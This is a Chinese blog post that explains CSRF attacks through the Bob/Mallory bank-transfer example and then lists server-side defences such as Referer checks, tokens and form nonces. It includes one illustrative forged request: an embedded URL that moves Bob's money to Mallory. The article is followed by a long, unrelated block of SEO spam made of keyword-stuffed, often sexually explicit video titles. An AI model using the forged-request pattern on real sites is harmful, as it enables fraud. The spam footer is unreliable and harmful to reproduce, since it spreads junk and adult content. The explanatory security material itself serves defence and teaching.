          CSRF攻擊方式早幾年并不為大家所熟知,實際上很多網站都存在CSRF的安全漏洞。早在2000年,CSRF這種攻擊方式已經由國外的安全人員提出,但在國內,直到2006年才開始被關注。2008年,國內外多個大型社區和交互網站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(紐約時報)、Metafilter(一個大型的BLOG網站)和YouTube等。但直到現在,互聯網上的許多站點仍對此毫無防備,以至于安全業界稱CSRF為“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。

          那么,我們先來看一下CSRF的攻擊原理吧:

          如果圖中的流程看的不是太明白,那么我們來看一個例子(摘抄自網絡):

          受害者 Bob 在銀行有一筆存款,通過對銀行的網站發送請求: http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求發送到網站后,服務器會先驗證該請求是否來自一個合法的 session,并且該session 的用戶 Bob 已經成功登陸。

          黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下代碼:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行服務器。

          大多數情況下,該請求會失敗,因為他要求 Bob 的認證信息。但是,如果 Bob 當時恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的cookie 之中含有 Bob 的認證信息。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以后 Bob 發現賬戶錢少了,即使他去銀行查詢日志,他也只能發現確實有一個來自于他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。

          目前業界服務器端防御CSRF攻擊主要有以下幾種策略:

          1. 驗證HTTP Referer字段

          2. 正確使用GET

          3. 在請求地址中添加token并驗證

          4. 在HTTP頭中自定義屬性并驗證。

          5. 表單偽隨機數

          • 驗證HTTPReferer字段

          Referer 是HTTP協議定義的一個頭字段,它記錄了該HTTP請求的來源地址。通過Referer就可以簡單的區分出這次請求是來自哪里,并做到基本的防范。

          但Referer畢竟是由請求者發起的,如果你用的是IE6瀏覽器(鄙視下IE),依然是可以偽造的。

          • 正確使用GET

          GET常用在查看,列舉,展示等不需要改變資源屬性的時候。因為GET方式參數是直接呈現在url中的,很方便,但也很不安全。所以不要以GET方式開放不安全的接口。

          • 在請求地址中添加token并驗證

          在正確使用GET 的前提下,對于非GET請求,如POST,可以用在創建、修改、刪除資源或者做其他一些相對敏感的事情。而且需要為每一個用戶生成一個唯一的Token存放在Cookie或LocalStorage里面,并附帶在Post請求中。但是由于XSS可以輕易的獲取用戶的Cookie或Local Storage,這種方式也不是十分的安全。

          • 在HTTP頭中自定義屬性并驗證

          這種方法也是使用 token 并進行驗證,和上一種方法不同的是,這里并不是把 token 以參數的形式置于 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性里。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上csrftoken這個 HTTP 頭屬性,并把 token 值放入其中。而且,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心token 會透過 Referer 泄露到其他網站中去。

          • 表單偽隨機數

          不同的表單包含一個不同的偽隨機值。這種做法,其實在一些知名的開源WEB框架里面早就有了,如:PHP的Drupal,Python的Flask,只是國人安全意思太薄弱,太后知后覺了。偽隨機數的原理也很簡單:

          1. 當頁面表單生成的時候由后端服務生成偽隨機數放置在表單的隱藏域里面,并在后端緩存偽隨機數。

          2. 表單提交的時候后端服務器驗證偽隨機數的正確性和時效性,刪除緩存的偽隨機數。

          這樣做不僅可以避免CSRF攻擊,同時可以避免表單的重復提交。

          好了,關于瀏覽器工作原理和網絡安全就先聊這么多,拋磚引玉,還是建議大家自行Google,一定會有更加深入的發現。喜歡我們的話就趕緊訂閱我們吧~~~或者關注我們的微信公眾號:架構云專家頻道。每天新鮮干貨定時推送哦~


          主站蜘蛛池模板: 午夜视频一区二区| 国产福利电影一区二区三区,日韩伦理电影在线福 | 无码人妻久久一区二区三区| 国产中的精品一区的| 精品一区二区三区自拍图片区| 国产一区二区三区高清在线观看| 一区二区国产精品| 天堂不卡一区二区视频在线观看 | 国产福利视频一区二区| 国产AV国片精品一区二区| 亚洲一区二区三区国产精品| 日本在线视频一区| 精品一区二区无码AV| 国产一区二区高清在线播放| 99精品国产高清一区二区三区| 成人区精品人妻一区二区不卡| 久久se精品一区二区影院| 国产一区三区三区| 高清一区二区三区日本久| 一区二区视频在线观看| 国产香蕉一区二区精品视频| 在线观看一区二区三区av| 中文字幕日韩欧美一区二区三区| 国内精品视频一区二区三区八戒 | 国产成人无码一区二区三区| 国产精品高清一区二区三区| 亚洲av无码一区二区乱子伦as | 精品欧洲AV无码一区二区男男| 中文字幕在线精品视频入口一区| 免费日本一区二区| 日韩美女视频一区| 在线观看日本亚洲一区| 精品国产一区在线观看| 国产乱码精品一区二区三| 水蜜桃av无码一区二区| 麻豆果冻传媒2021精品传媒一区下载 | 无码人妻品一区二区三区精99| 久久久老熟女一区二区三区| 亚洲日韩一区精品射精| 精品一区二区三区视频| 无码少妇一区二区三区浪潮AV|